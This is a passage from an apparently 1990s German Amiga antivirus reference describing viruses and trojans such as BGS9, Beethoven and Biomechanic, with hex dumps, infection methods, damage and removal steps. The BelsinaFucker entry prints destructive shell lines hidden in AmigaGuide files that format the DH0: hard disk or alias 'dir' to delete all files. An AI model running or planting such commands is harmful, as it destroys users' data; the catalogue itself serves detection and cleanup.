  2176.                Imploder gepackte Laenge : 6472 Bytes
  2177.                Lauffaehig entpackt Laenge: 10244 Bytes 
  2178.       oder  
  2179.       Das Programm DLog V1.0 wurde verseucht. (BBS-DLog.-Troj)
  2180.       Verseuchte Laenge: gepackt:  15432 Bytes
  2181.                         entpackt:  22716 Bytes
  2182.       Methode: 4EB9-Link  Das BBS-Teil wird NACH DLog aufgerufen.
  2183.       Das Teil wird NICHT aktiv, falls SnoopDos im Speicher ist.
  2184.       Es wird nach bestimmten Filelaengen gesucht.
  2185.       Im BBS-Teil ist zu lesen:
  2186.            4ebafd18 4e5d4e75 536e6f6f 70446f73 N...N]NuSnoopDos
  2187.            00424253 00424253 3a004242 533a0042 .BBS.BBS:.BBS:.B
  2188.            42530042 42533a00 4242533a 5574696c BS.BBS:.BBS:Util
  2189.            732f0000 4e55fffc 48e70820 246d0008 s/..NU..H.. $m..
  2190.       VT bietet an loeschen.
  2191.       ODER: Sie gehen in den Filerequester und schalten mit Link2aus
  2192.       das Trojanteil im File ab.
  2193.  
  2194.       Typ B (06.06.93):
  2195.       Das Programm WhiteBox V8.0 wurde verseucht.
  2196.       Verseuchte Laenge: 34896 Bytes
  2197.       Methode: 4EB9-Link  Das BBS-Teil wird VOR WhiteBox aufgerufen.
  2198.            Trojan-Teil:
  2199.                Imploder gepackte Laenge : 6980 Bytes
  2200.                Lauffaehig entpackt Laenge: 11204 Bytes
  2201.       Das Teil wird NICHT aktiv, falls SnoopDos im Speicher ist.
  2202.       Es wird nach bestimmten Filelaengen gesucht.
  2203.       Im BBS-Teil ist zu lesen:     
  2204.            414d492d 45585052 4553535f 52554c45 AMI-EXPRESS_RULE
  2205.            5a3a0041 4d492d45 58505245 53535f52 Z:.AMI-EXPRESS_R
  2206.            554c455a 3a626273 2f00              ULEZ:bbs/.
  2207.            ;......
  2208.            4ebafe48 60d0536e 6f6f7044 6f730042 N..H`.SnoopDos.B
  2209.            42530042 42533a00 4242533a 00004e55 BS.BBS:.BBS:..NU
  2210.       VT bietet Ausbau an.
  2211.       vgl. auch  LHAV3-BBS-Trojan, Viewtek22-Installer
  2212.       Hinweis: Dieses Trojan-Teil ist auch abgekoppelt und entpackt
  2213.         in Umlauf (18424). Aber
  2214.         mindestens eine Version davon ist NICHT lauffaehig (memory
  2215.         Mangel). Erkennen koennen Sie das Teil, da ein 3EA-Hunk
  2216.         fehlt und dafuer ein 3F0-Hunk mit Sprungmarken auftaucht.
  2217.         Vermutlich ist das Teil reassembliert und danach FALSCH
  2218.         wieder assembliert worden.
  2219.  
  2220.  
  2221.    - BEETHOVEN  22.11.92   File  Laenge:2608  immer ab $7EF00
  2222.       Bret Hawnes Clone  KS2.04: ja
  2223.       Kicktag, SumKickData, KickCheckSum, OpenNewLib, $6C
  2224.       Namensbegruendung : siehe bei DisplayAlert (Unterschied zu B.H.)
  2225.       Abhaengig von der Zeit meldet sich das VirusTeil mit DisplayAlert.
  2226.       Die Routine und der Text wird decodiert mit:
  2227.                        not.b (a1)
  2228.                        eor.b #$27,(a1)+
  2229.       Da hierbei die intuition.base hardcodiert im RangerRam ($c...)
  2230.       abgelegt wird, wird nicht jeder in den "Genuss" des Textes kom-
  2231.       men. (Ich denke ein Anfaenger war am Werk)
  2232.  
  2233.            62726172 79000000 00000096 14484559 brary........HEY
  2234.            20212049 43482042 494e205a 5552dc43  ! ICH BIN ZUR.C
  2235.            4b202121 21212121 21212100 01007d2d K !!!!!!!!!....-
  2236.            2d3d3e20 4c554457 49472056 414e2042 -=> LUDWIG VAN B
  2237.            45455448 4f56454e 203c3d2d 000100aa EETHOVEN <=-....
  2238.            46494348 204d4143 4845204d 49434820 FICH MACHE MICH
  2239.            4a45545a 54204155 46204445 4d200001 JETZT AUF DEM ..
  2240.            00d75541 4d494741 20425245 49542021 ..UAMIGA BREIT !
  2241.            21212120 00010096 69444153 20484945 !!! ....iDAS HIE
  2242.            52204953 5420dc42 52494745 53204d45 R IST .BRIGES ME
  2243.            494e204e 45554552 20564952 55530001 IN NEUER VIRUS..
  2244.            00967d48 45204845 20484520 48452048 ...HE HE HE HE H
  2245.            45204845 2048452e 2e2e2e20 20000100 E HE HE....  ...
  2246.            96875649 454c2053 5041df20 4e4f4348 ..VIEL SPA. NOCH
  2247.            2e2e2e20 00010096 91502e53 2e204d45 ... .....P.S. ME
  2248.            494e4520 4d555349 4b205741 52205343 INE MUSIK WAR SC
  2249.            484549df 45200001 00bea02d 20414245 HEI.E .....- ABE
  2250.            52204d45 494e4520 56495245 4e205349 R MEINE VIREN SI
  2251.            4e442047 45494c20 21210001 00e1b453 ND GEIL !!.....S
  2252.            55434b20 4d592044 49434b20 0001005a UCK MY DICK ...Z
  2253.            c3424954 54452043 4f4d5055 54455220 .BITTE COMPUTER
  2254.            41555353 4348414c 54454e2e 2e2e2000 AUSSCHALTEN... .
  2255.  
  2256.       startup-sequence verseucht:
  2257.         c0a0e0a0 c00a636c 730a0a00 00000000 ......cls.......
  2258.         ^^^^^^^^^^^^^
  2259.       Das Virusteil schreibt sich also in die erste Zeile der
  2260.       s.-seq. . Diese Aenderung muessen Sie von Hand mit einem
  2261.       Editor rueckgaengig machen. Das Programm selbst schreibt
  2262.       sich in die Root einer Disk mit $C0A0E0A0C0 (ist sichtbar)
  2263.       Nach 10 Vermehrungen wird bei B.H. eine Format-Routine an-
  2264.       gesprungen. Diese Routine fehlt bei BEETHOVEN. Stattdessen
  2265.       wird die DisplayAlert-Routine angesprungen.
  2266.  
  2267.    - BelsinaFucker
  2268.         2 Files im guide-Format 
  2269.         Sie koennen die Teile nur loeschen
  2270.         Name steht so am Ende der Files
  2271.          Typ1 Laenge: 3221 Bytes
  2272.           20202020 20222073 79737465 6d202245      " system "E
  2273.           43484f20 3e3e533a 5368656c 6c2d5374 CHO >>S:Shell-St
  2274.           61727475 70205255 4e203e4e 494c3a20 artup RUN >NIL:
  2275.           5359533a 53797374 656d2f46 6f726d61 SYS:System/Forma
  2276.           74204445 56494345 20444830 3a204e41 t DEVICE DH0: NA
  2277.           4d452066 55634b45 442e6259 2e62456c ME fUcKED.bY.bEl
  2278.           53496e41 204e4f49 434f4e53 20227d0a SInA NOICONS "}.
  2279.          Typ2 Laenge: 3186 Bytes       
  2280.           20202020 20222073 79737465 6d202245      " system "E
  2281.           43484f20 3e3e533a 5368656c 6c2d5374 CHO >>S:Shell-St
  2282.           61727475 7020416c 69617320 44697220 artup Alias Dir
  2283.           5359533a 432f4465 6c657465 20233f20 SYS:C/Delete #?
  2284.           616c6c20 3e4e494c 3a20227d 0a40656e all >NIL: "}.@en
  2285.  
  2286.    - BEOL-Viren   siehe oben bei B.E.O.L
  2287.  
  2288.    - BESTIAL-Virus  Link  dos.open
  2289.        Gefunden an das Prg. border (Torsten Juergeleit) gelinkt.
  2290.        Laenge dann: 7876 Bytes
  2291.        Namensbegruendung: im Speicher und im File ist zu lesen
  2292.            02e86018 3e204245 53544941 4c204445 ..`.> BESTIAL DE
  2293.            56415354 4154494f 4e203c20 243c0000 VASTATION < $<..
  2294.        Anmerkungen:
  2295.           - Es duerfte sich um eine Anfaenger-Programmierung
  2296.             handeln.
  2297.           - Grundlage duerfte das XENO-Virus sein.
  2298.           - Die Decodier-Routine im XENO wurde "uebersehen".
  2299.           - Dafuer kommen jetzt 2 absolute JMP nach $Cxyz vor.
  2300.             Wer da keinen Speicher hat, sieht bei der naechsten
  2301.             Verwendung von dos-Open den GURU B.
  2302.           - Mit etwas Glueck und Absicht gelingt der Link-Vorgang.
  2303.           - Von 20 !!!!! gelinkten Files war KEIN File lauffaehig,
  2304.             das mehr als 5 Hunks hatte. GURU 3, 4 usw.
  2305.           - Die richtige Hunk-Behandlung bereitet Probleme. Mal
  2306.             werden $10 Bytes doppelt geschrieben, bei Hunkanzahl
  2307.             kleiner 3 oder es wird $3E9 verschluckt usw. Und dafuer
  2308.             hab ich 4 Stunden geopfert.
  2309.           - Meine Empfehlung: Leute spielt lieber mit dem Joystick !!!
  2310.        Speichererkennung mit VT : getestet 04.03.93
  2311.        Fileausbau mit VT        : getestet 08.03.93 (VT kann teilweise
  2312.             auch Files reparieren, die im gelinktem Zustand nicht mehr
  2313.             lauffaehig sind.)
  2314.  
  2315.    - BGS9 I (schiebt Orig.Prg. in devs)   Bytes 2608
  2316.          laueft mit KS2.04 !!!!!
  2317.          Anruf 12.05.91: Auf einem A500 ohne Festplatte verschiebt
  2318.          der BGS9 I bei fehlendem devs-Verz. das OrigPrg unsichtbar
  2319.          in das Hauptverzeichnis.
  2320.          KickMem, KickTag, KickCheckSum, OpenWindow
  2321.          PrgTeile verschluesselt mit eori.l #$1AF45869,(a0)+
  2322.          unsichtbares File in devs: A0A0A0202020A0202020A0
  2323.          am Ende des Prg.Files ist mit einem Monitor zu sehen: TTV1
  2324.          beim 4.Reset Textausgabe ueber GraphikRoutine:
  2325.          schwarzer Hintergrund, weisse Schrift
  2326.             A COMPUTER VIRUS IS A DISEASE
  2327.              TERRORISM IS A TRANSGRESSION
  2328.              SOFTWARE PIRACY IS A CRIME
  2329.  
  2330.                   THIS IS THE CURE
  2331.  
  2332.          BGS9 BUNDESGRENZSCHUTZ SEKTION 9
  2333.               SONDERKOMMANDO "EDV"
  2334.  
  2335.             Entfernung: File in devs in OriginalPrg. umbenennen
  2336.                         BGSVirusFile loeschen
  2337.                         OrigPrg aus devs in entsprechendes Verzeichnis
  2338.                         kopieren
  2339.          Hinweis: es wird ein unsichtbares File (Name s.o.) weiterge-
  2340.             geben mit der Laenge #64 und dem Inhalt "Protection file!".
  2341.             Dieses File soll einen BGS9-Befall der Disk verhindern.
  2342.          Clone: 04.03.92
  2343.             TTV1 durch FUCK ersetzt
  2344.             NAST das Codier-LW wurde wurde geaendert
  2345.             ATARI  Das File hat die Laenge #2609 und ist damit NICHT
  2346.                    lauffaehig
  2347.  
  2348.    - BGS9 II  aehnlich BGS9 I
  2349.          aber File in devs jetzt:
  2350.             A0E0A0202020A0202020A0
  2351.          Hinweis: $E0 ist ein a mit Akzent
  2352.          Anruf 12.05.91: Auf einem A500 ohne Festplatte verschiebt
  2353.          der BGS9 II bei fehlendem devs-Verz. das OrigPrg in das
  2354.          Hauptverzeichnis.
  2355.          Aenderung im Text:    :SOFTWARE'
  2356.          Die Veraenderungen liegen im codierten PrgBereich
  2357.          Im PrgFile TTV1 sichtbar
  2358.  
  2359.    - BGS9 III     s.o.
  2360.          Neu: unsichtbarer Filename:
  2361.             devs:A0,0
  2362.          Entfernung: File in devs in OriginalPrg. umbenennen
  2363.                      BGSVirusFile loeschen
  2364.                      Original-Prg aus devs in entsprechendes Verzeichnis
  2365.                      kopieren.
  2366.  
  2367.    - BGS9-PROTECTOR
  2368.          KEIN Virus, sondern ein Antivirusprogramm !!!!!
  2369.          KEINE verbogenen Vektoren
  2370.          Laenge: 3532 Bytes
  2371.          Im File ist zu lesen:
  2372.            336d2020 20202020 20202020 20202042 3m             B
  2373.            4753202d 20392020 20205649 52555320 GS - 9    VIRUS
  2374.            50524f54 4543544f 520a2020 20202020 PROTECTOR.
  2375.          Sucht in df0:devs/ und df0: nach den unsichtbaren BGS9-Files.
  2376.          Laeuft NICHT mit neueren Betriebssystemen.
  2377.          Deshalb sollten Sie das File nicht mehr verwenden und auch
  2378.          nicht weitergeben. Danke
  2379.  
  2380.    - BIED.BB-Virus     Bootblock
  2381.          Verbogene Vektoren: KickTag, DoIo
  2382.          Im Speicher immer ab $7F800
  2383.          Resetfest: Ja
  2384.          Fordert trackdisk.device NICHT
  2385.          Im BB ist decodiert zu lesen:
  2386.             65207472 69636b79 20424945 442d4249 e tricky BIED-BI
  2387.             544d4150 2d564952 55532120 20202863 TMAP-VIRUS!   (c
  2388.          Der Text wird nie ausgegeben.
  2389.          Schaeden:
  2390.          a: Schreibt einen Virus-BB. Auch auf FFS-Disk, d.h. die Disk-
  2391.             struktur stimmt dann nicht und durch z.B. copy File kann
  2392.             die Disk unbrauchbar werden. Falls Sie also diesen Virus-
  2393.             BB von einer Disk entfernt haben, und dann im Filetest die
  2394.             Meldung "bad Data" erhalten, dann versuchen Sie bitte mit
  2395.             VT einen FFS-BB zu installieren.
  2396.          b: Sucht nach dem Rootblock. Die Routine stimmt nur fuer
  2397.             DD-Disk. Versucht dann den BitMapBlock ($13c) zu ermitteln.
  2398.             Die Routine stimmt nur fuer Blockgroesse 512 Bytes.
  2399.             BitMapBlock $371  vorher:       nachher:
  2400.             000: dfe9b83f 00000000 ...?.... : cff1b85f 00000000 ..._....
  2401.             ;....
  2402.             038: 00000000 0007ffff ........ : 0fffffe0 ffffffff ........
  2403.             040: ffffffff 00001fff ........ : ffffffff 00001fff ........
  2404.             Es werden also im BitMapBlock Diskbloecke als nicht belegt
  2405.             gekennzeichnet. Wenn Sie nun mit copy File auf diese Disk
  2406.             schreiben, besteht die Gefahr, dass Sie Teile von anderen
  2407.             Files ueberschreiben.
  2408.             VT kann die BitMap-Veraenderung NICHT erkennen und damit auch
  2409.             nicht rueckgaengig machen.
  2410.             Versuchen Sie mit copy df0: df1: all zu retten was zu retten
  2411.             ist.
  2412.  
  2413.  
  2414.    - BigBen.BB-Virus   Bootblock
  2415.          Name uebernommen. Im BB nicht nachvollziehbar
  2416.          KS40.063: Ja
  2417.          Verbogene Vektoren: Cool, DoIo, ReplyMes, WaitPort, ExecInt5
  2418.          Schreibt immer DOS0-BB
  2419.          Versucht bei der Anzeige zu taeuschen
  2420.          Virus-BB:
  2421.              444f5300 a16fe26a 00000370 4e716150 DOS..o.j...pNqaP
  2422.                                         ^^^^^^^^
  2423.          "Harmlos"-BB:
  2424.              444f5300 d14fe26d 00000370 43fa003e DOS..O.m...pC..>
  2425.                                         ^^^^^^^^
  2426.          4e716150  = NOP, bsr.s zu Cool schon verbogen Test
  2427.          43fa003e  = LEA Expansion
  2428.          Bei "Harmlos"-BB wuerde es sich also im einen normalen
  2429.          BB handeln. Der Virusteil im BB wuerde NIE erreicht, da ja
  2430.          der Sprungbefehl ersetzt wurde.
  2431.          Vermehrung: BB
  2432.          Die Vermehrung hat bei mir aufgehoert sobald die Zaehlzelle
  2433.          einen bestimmten Wert erreicht hatte.
  2434.          Verhalten:
  2435.          Es wird beim Booten die System-Uhrzeit (immer neu) ausgegeben.
  2436.          Das Bild steht dabei nicht, sondern scheint durchzulaufen.
  2437.          Dunkler Hintergrund, wechselnde Schriftfarbe (meist hell, nach
  2438.          GURU rot). Inhalt z.B.:
  2439.                      27/11/94 14:41:02
  2440.          Nach mehreren Vermehrungen rattert bei mir DF0:, wenn eine nicht-
  2441.          schreibgeschuetzte Disk mit Virus-BB eingelegt wird. Wird diese
  2442.          Disk dann schreibgeschuetzt und erneut eingelegt, so erscheint
  2443.          die Uhrzeit.
  2444.          Hinweis: es ist bei Tests MEHRFACH vorgekommen, dass nicht der
  2445.          Virus-BB, sondern der "Harmlos"-BB geschrieben wurde. Der kann sich
  2446.          dann NICHT vermehren (s.o.). Um Verwirrungen zu vermeiden sollten
  2447.          Sie diesen ebenfalls durch einen sauberen BB ersetzen. Danke
  2448.          Den NICHT mehr vermehrungsfaehigen BB sollte VT zum Unterschied
  2449.          als "BigBen.BB (L)" erkennen.
  2450.  
  2451.  
  2452.    - BIG BOSS    SCA-Clone nur Text geaendert s.u.
  2453.  
  2454.    - Biochip-Virus   siehe bei Nibbler-Virus
  2455.  
  2456.    - BioMechanic-Trojan Varianten nach VT:
  2457.       Name frueher bei VT: IconD
  2458.       Name: Biomechanic. Ist nachvollziehbar, da er bei einigen (nicht
  2459.       bei allen) Varianten im cli oder auf HD ausgegeben wird.
  2460.       keine Vermehrung
  2461.       In Amiga-E geschrieben
  2462.       Zerstoerung: Die Files werden NICHT gekuerzt, aber mindestens
  2463.       fuenf Bytes IM File werden veraendert. Bitte KEINE Gleichsetzung
  2464.       mit COP. COP-Varianten verkuerzen Files und schreiben einen
  2465.       Text hinein !!!!!!!!!!         
  2466.       Gruppenbildung: Die Files wurden jeweils bis 3E9-Trojanbeginn ge-
  2467.         kuerzt. Files mit ungefaehr GLEICHER Trojancodelaenge (Ausnahme:
  2468.         Sprungbefehle und Muell zwischen den Prg-Teilen und GLEICHER
  2469.         5-Bytes-Veraenderungsfolge wurden einem Typ zugeordnet.
  2470.  
  2471.          - Typ-A
  2472.            Der Prg-Code ist bis $E18 gleich (Ausnahme: Labels)
  2473.            leerer Dir-Name: nicht vorhanden
  2474.            schreibt in Files bei mir 0002b9b200
  2475.            bekannte Filenamen:
  2476.              - IconD                            2384 Bytes
  2477.              - hd_install.exe                   2576 Bytes
  2478.  
  2479.          - Typ-B
  2480.            Der Prg-Code ist bis $E60 gleich (Ausnahme: Labels)
  2481.            leerer Dir-Name: biomechanic trashed your hd!!
  2482.            schreibt in Files bei mir 0002b37800
  2483.            bekannte Filenamen:
  2484.              - Embryo-HD_install.exe            6764 Bytes
  2485.              - Mortal-Kombat2-HD_install.exe    5512 Bytes
  2486.              - SensibleGolf-HD_install.exe      4476 Bytes
  2487.              - SWOS-HD_install.exe              9588 Bytes
  2488.              - ViroCop-HD_install.exe           5912 Bytes  beide Files auch
  2489.              - MCI-CARDS4-FREE.EXE              5912 Bytes  vom Inhalt GENAU
  2490.                                                             gleich
  2491.          - Typ-C
  2492.            Der Prg-Code ist nur im AmigaE-Kopf genau gleich
  2493.            schreibt in Files bei mir 0002b37800
  2494.            bekannter Filename:
  2495.              - members.exe                      8584 Bytes
  2496.  
  2497.          - Typ-D
  2498.            Der Prg-Code ist nur im AmigaE-Kopf genau gleich 
  2499.            leerer Dir-Name: biomechanic trashed your hd!!
  2500.            schreibt in Files bei mir 0002b37800
  2501.            bekannter Filename:
  2502.              - Flake_killer_bio.exe             3264 Bytes
  2503.  
  2504.          - Typ-E
  2505.            Der Prg-Code ist nur im AmigaE-Kopf genau gleich 
  2506.            verwendet die 4EB9-Methode
  2507.            schreibt in Files bei mir 0002bab700
  2508.            bekannter Filename:
  2509.              - lzx_1.20t-Bugfix                67504 Bytes
  2510.  
  2511.          - Typ-F
  2512.            Trojan-Teil jeweils      3208 Bytes
  2513.            verwendet die 4EB9-Methode        
  2514.            leerer Dir-Name: biomechanic trashed your hd!!
  2515.            schreibt in Files bei mir 0002E76000
  2516.            bekannte Filenamen:
  2517.              - DayDream                       129652 Bytes
  2518.              - Server                          20880 Bytes
  2519.              - FixDiskv2.0                     39156 Bytes
  2520.              - VirusZ V1.21                    80268 Bytes
  2521.  
  2522.          - Typ-G
  2523.            Trojan-Teil ist bis $1076 gleich (Ausnahme: Labels)
  2524.            verwendet die 4EB9-Methode          
  2525.            leerer Dir-Name: biomechanic trashed your hd!!
  2526.            schreibt in Files bei mir 000224FE00
  2527.            bekannte Filenamen:  
  2528.              - introvirus                       4428 Bytes
  2529.              - Ami-Hacker                       6940 Bytes
  2530.              - Viruschecker V6.59              55428 Bytes
  2531.  
  2532.          - Typ-H
  2533.            Der Unterschied zu Typ A ist zu gross
  2534.            schreibt in Files bei mir 0002b9b200
  2535.            bekannter Filename: 
  2536.              - ORB95                            3176 Bytes
  2537.      
  2538.    - Biomech-TypA-Trojan   Zerstoerungsfile    
  2539.          Der Prg-Code ist bis $E18 gleich (Ausnahme: Spruenge)
  2540.          5 Bytes werden geschrieben = 00 02 b9 b2 00
  2541.          enthaelt noch keinen Biomechanic-Text, ist aber von der
  2542.          Programmierung (Amiga-E) aus dieser Gruppe.
  2543.          A4000: ja
  2544.          Laenge gepackt:  2384 Bytes
  2545.          Laenge entpackt: 4188 Bytes
  2546.          KEINE verbogenen Vektoren
  2547.          KEINE Vermehrung
  2548.          VT erkennt NUR das Ausloeserfile !!
  2549.          Filename: IconD
  2550.          Im entpackten File ist zu lesen:
  2551.             65737366 756c6c79 210a0073 79733a70 essfully!..sys:p
  2552.             72656673 2f007379 733a6465 76732f00 refs/.sys:devs/.
  2553.             7379733a 6c2f0073 79733a63 2f007379 sys:l/.sys:c/.sy
  2554.             733a6c69 62732f00 486f6c64 206f6e20 s:libs/.Hold on
  2555.             7768696c 65204963 6f6e4465 70746820 while IconDepth
  2556.             56312e33 20697320 636f6e76 65727469 V1.3 is converti
  2557.             6e672079 6f757220 69636f6e 73210a00 ng your icons!..
  2558.          Der Text wird im cli ausgegeben und duerfte der Taeuschung
  2559.          dienen. In Wirklichkeit werden die Unterverzeichnisse von sys:
  2560.          prefs, devs, l, c und libs durchsucht. Ausser in prefs und devs
  2561.          duerften da aber im Normalfall KEINE icons sein. Es werden NICHT
  2562.          alle Files in diesen Verzeichnissen veraendert. Unter-Unterver-
  2563.          zeichnisse (z.B. devs/printers) wurden bei mir NICHT durchsucht.
  2564.          Einige Beispiele:
  2565.              File vorher:                 File nachher:
  2566.             printer.device
  2567.             4eb90000 08582200 N....X". : 4eb90000 08582200 N....X".
  2568.             508f6608 4eb90000 P.f.N... : 0002b9b2 00b90000 ........
  2569.             ^^^^^^^^ ^^                  ^^^^^^^^ ^^
  2570.             09ba2200 4a81661e ..".J.f. : 09ba2200 4a81661e ..".J.f.  
  2571.  
  2572.             dir
  2573.             4e954a81 6700000a N.J.g... : 4e954a81 6700000a N.J.g...
  2574.             42a90014 6000028c B...`... : 0002b9b2 0000028c ........
  2575.             22290004 e5894ab0 ")....J. : 22290004 e5894ab0 ")....J.  
  2576.  
  2577.             icon.library
  2578.             28804fef 00106700 (.O...g. : 28804fef 00106700 (.O...g.
  2579.             00822f2e fff82f14 ../.../. : 00820002 b9b20014 ........
  2580.             2f052f02 4e934a80 /./.N.J. : 2f052f02 4e934a80 /./.N.J.
  2581.          Es werden also immer 5 Bytes geschrieben = 00 02 b9 b2 00 .
  2582.          Ein System dabei habe ich nicht gefunden. Die Files sind leider
  2583.          NICHT mehr zu retten.
  2584.          VT erkennt veraenderte Files NICHT, da mir die Gefahr der Fehl-
  2585.          erkennung bei nur fuenf Bytes zu gross ist. Falls Sie Bedenken
  2586.          in Ihrem System haben, weil auf Ihrer Festplatte das Ausloeser-
  2587.          file war, dann probieren Sie einen Filemonitor (z.B. hex).
  2588.          Geben Sie im Suchstring $0002b9b2 ein und untersuchen Sie in den
  2589.          bestimmten Unterverzeichnissen die Files. Es geht schnell. Ich
  2590.          habs mit dem l-Verzeichnis probiert (zerstoert war da z.B. disk-
  2591.          validator).
  2592.          Nachtrag Juni 95:
  2593.          Filename:
  2594.          hd_install.exe  (KidCurry Spielname ??) . Ich habe nur das File.
  2595.          Laenge gepackt:  2576 Bytes
  2596.          Laenge entpackt: 8052 Bytes
  2597.          Im File ist zu lesen:
  2598.             4e5d4e75 b9b2004e 6f742065 6e6f7567 N]Nu...Not enoug
  2599.             68207370 61636521 0a007379 733a7072 h space!..sys:pr
  2600.             6566732f 00737973 3a646576 732f0073 efs/.sys:devs/.s
  2601.             79733a6c 2f007379 733a6c69 62732f00 ys:l/.sys:libs/.
  2602.             7379733a 632f0057 61697420 7768696c sys:c/.Wait whil
  2603.             65206368 65636b69 6e672048 44207370 e checking HD sp
  2604.             6163652e 0a0074ff 4e754e75 4aacfff8 ace...t.NuNuJ...
  2605.          Es wird also ein HD-Install im Cli vorgetaeuscht. In Wirklichkeit
  2606.          werden die obengenannten Dirs durchsucht und bei einigen Files
  2607.          (nicht bei allen), die obengenannten 5 Bytes geschrieben.
  2608.              Loadwb vorher:               LoadWB nachher:
  2609.             0000015a 00000112 ...Z.... : 0000015a 00000112 ...Z....
  2610.             0000000a 00000003 ........ : 0002b9b2 00000003 ........
  2611.             ^^^^^^^^ ^^                  ^^^^^^^^ ^^
  2612.  
  2613.    - Biomech-TypB-Trojaner
  2614.          Der Prg-Code ist bis $E60 gleich (Ausnahme: Spruenge)
  2615.          Die fuenf Bytes : 00 02 b3 78 00
  2616.          Es sind einige neue Files aufgetaucht, die den Biomech-Code ent-
  2617.          halten. Die Namen lassen vermuten, dass es sich um Installer fuer
  2618.          Spiele auf Festplatte handelt. (Embryo-HD_install.exe, MCI-CARDS4
  2619.          -FREE.EXE, Mortal-Kombat2-HD_install.exe, SensibleGolf-HD_install
  2620.          .exe, SWOS-HD_install.exe, ViroCop-HD_install.exe) In Wirklichkeit
  2621.          wurde der Biomech-Code an Prg.e aus dem C-Verzeichnis (info, remrad
  2622.          usw.) gelinkt. Die Filelaengen sind natuerlich verschieden.
  2623.          Neu bei diesen Files:
  2624.           - Auf das "veraenderte" Medium wird als leerer Dir-Name geschrie-
  2625.          ben:  biomechanic trashed your hd!!
  2626.           - Die fuenf Bytes aendern sich : 00 02 b3 78 00
  2627.              File vorher:                 File nachher: 
  2628.             22301800 706c286a "0..pl(j : 22301800 0002b378 "0.....x
  2629.             01984e95 23410058 ..N.#A.X : 00984e95 23410058 ..N.#A.X
  2630.              oder:
  2631.             08ac001f 0004205f ...... _ : 08ac001f 0004205f ...... _
  2632.             45e8ffe0 294a0030 E...)J.0 : 0002b378 004a0030 ...x.J.0
  2633.              usw.
  2634.  
  2635.    - Biomech-TypC-Trojaner   
  2636.          Der Prg-Code ist nur im AmigaE-Kopf genau gleich
  2637.          Die fuenf Bytes : 00 02 b3 78 00
  2638.          Filename: members.exe  Laenge: 8584 Bytes
  2639.          Da ein Text im Cli ausgegeben wird, MUSS das Teil sofort auf-
  2640.          fallen.
  2641.          Die veraenderten Files werden von VT NICHT erkannt.
  2642.  
  2643.    - Biomech-TypD-Trojaner     
  2644.          Der Prg-Code ist nur im AmigaE-Kopf genau gleich
  2645.          Die fuenf Bytes : 00 02 b3 78 00 
  2646.         68030: ja
  2647.         neuer bekannter Filename:
  2648.           - Flake_killer_bio.exe  3264 Bytes gepackt 
  2649.           - Flake_killer_bio.exe  5552 Bytes ungepackt
  2650.           Nach FileId ein Biomech. Killer
  2651.         Ablauf:
  2652.          Im cli erfolgt zuerst die Ausgabe:
  2653.               ...  catch me if you can
  2654.                - b i o m e c h a n i c -
  2655.          Da MUSS jeder gewarnt sein. Fuehren Sie SOFORT eine Reset aus.
  2656.          Betroffene Verzeichnisse sys:c, sys:libs, sys:l, sys:devs
  2657.          und sys:prefs
  2658.          Die fuenf Bytes aendern sich : 00 02 B3 78 00
  2659.              File vorher:                 File nachher:  
  2660.              z.B. Addbuffers
  2661.           22301800 706c286a "0..pl(j : 22301800 0002b378 "0.....x
  2662.           01984e95 23410058 ..N.#A.X : 00984e95 23410058 ..N.#A.X
  2663.              z.B. Avail
  2664.           660e2005 d0842f00 f. .../. : 660e2005 0002b378 f. ....x
  2665.           48790000 002a60c8 Hy...*`. : 00790000 002a60c8 .y...*`.  
  2666.          Auf das "veraenderte" Medium wird als leerer Dir-Name geschrie-
  2667.          ben:  biomechanic trashed your hd!!
  2668.  
  2669.    - Biomech-TypE-Trojaner
  2670.          Die fuenf Bytes : 00 02 ba b7 00
  2671.          68030: ja
  2672.          Filename: lzx_1.20t-Bugfix
  2673.          Laenge: 67504 Bytes
  2674.          Mit der 4Eb9-Methode wurden zwei gepackte Files zusammengelinkt.
  2675.          Im entpackten 1.Teil ist zu lesen:
  2676.            20204927 6d20646f 6e65210a 00313231   I'm done!..121
  2677.            34393061 633164b9 00313231 34656175 490ac1d..1214eau
  2678.            3164b900 31323134 3564b900 31323134 1d..12145d..1214
  2679.            35363731 64b90031 32313462 64b90020 5671d..1214bd..
  2680.            20202020 20202020 20202020 20202020
  2681.            20202020 20202020 54686520 666f7263         The forc
  2682.            6573206f 66207465 72726f72 2e0a0a00 es of terror....
  2683.            20202020 20202020 20202020 20202020
  2684.            20204269 6f6d6563 68616e69 6320616e   Biomechanic an
  2685.            6420432e 4f2e5020 776f726c 6420746f d C.O.P world to
  2686.            75722039 352e0a0a 00202020 2020204a ur 95....      J
  2687.            75737420 77726974 696e6720 6f766572 ust writing over
  2688.            20736f6d 65206669 6c657320 6973206e  some files is n
  2689.            6f742073 6f20636f 6f6c2e20 496d7072 ot so cool. Impr
  2690.            6f766520 74686520 636f6465 210a0a00 ove the code!...
  2691.            20202020 20202020 20204d65 73736167           Messag
  2692.            6520746f 20432e4f 2e502120 436f6f6c e to C.O.P! Cool
  2693.            20776f72 6b2c2062 7574206d 616b6520  work, but make
  2694.            6d6f7265 20636f6f 6c657220 74726f6a more cooler troj
  2695.            616e732e 0a002020 20202020 20202020 ans...
  2696.            20204c65 616e2062 61636b20 616e6420   Lean back and
  2697.            6c697374 656e2074 6f207468 6520736f listen to the so
  2698.            756e6420 6f662061 20777269 74696e67 und of a writing
  2699.            2048442e 0a0a000a 20202020 20202020  HD.....
  2700.            20202042 696f6d65 6368616e 69632064    Biomechanic d
  2701.            69642069 74206167 61696e20 77697468 id it again with
  2702.            2061206e 65772073 6d617274 65722074  a new smarter t
  2703.            726f6a61 6e210a00                   rojan!.
  2704.          Ablauf:
  2705.           Im cli erfolgt eine Textausgabe (The forces.... trojan!)
  2706.           Wenn Sie das sehen, machen Sie bitte SOFORT einen Reset.
  2707.           Betroffene Verzeichnisse sys:c, sys:libs, sys:l, sys:devs
  2708.           und sys:prefs  (hier noch codiert, vgl. 1214bd s.o.)
  2709.           Die fuenf Bytes aendern sich : 00 02 ba b7 00
  2710.              File vorher:                 File nachher:
  2711.              z.B. Addbuffers
  2712.            22301800 706c286a "0..pl(j : 22301800 0002bab7 "0......
  2713.            01984e95 23410058 ..N.#A.X : 00984e95 23410058 ..N.#A.X
  2714.              oder z.B. Avail
  2715.            660e2005 d0842f00 f. .../. : 660e2005 0002bab7 f. .....
  2716.            48790000 002a60c8 Hy...*`. : 00790000 002a60c8 .y...*`.
  2717.           Am Schluss erfolgt im cli die Ausgabe: I'm done! (s.o.)
  2718.           Bei Testverseuchungen habe ich immer wieder mal den GURU
  2719.           gesehen.
  2720.  
  2721.   - Biomech-TypF-Trojaner     (vgl. auch Typ B)
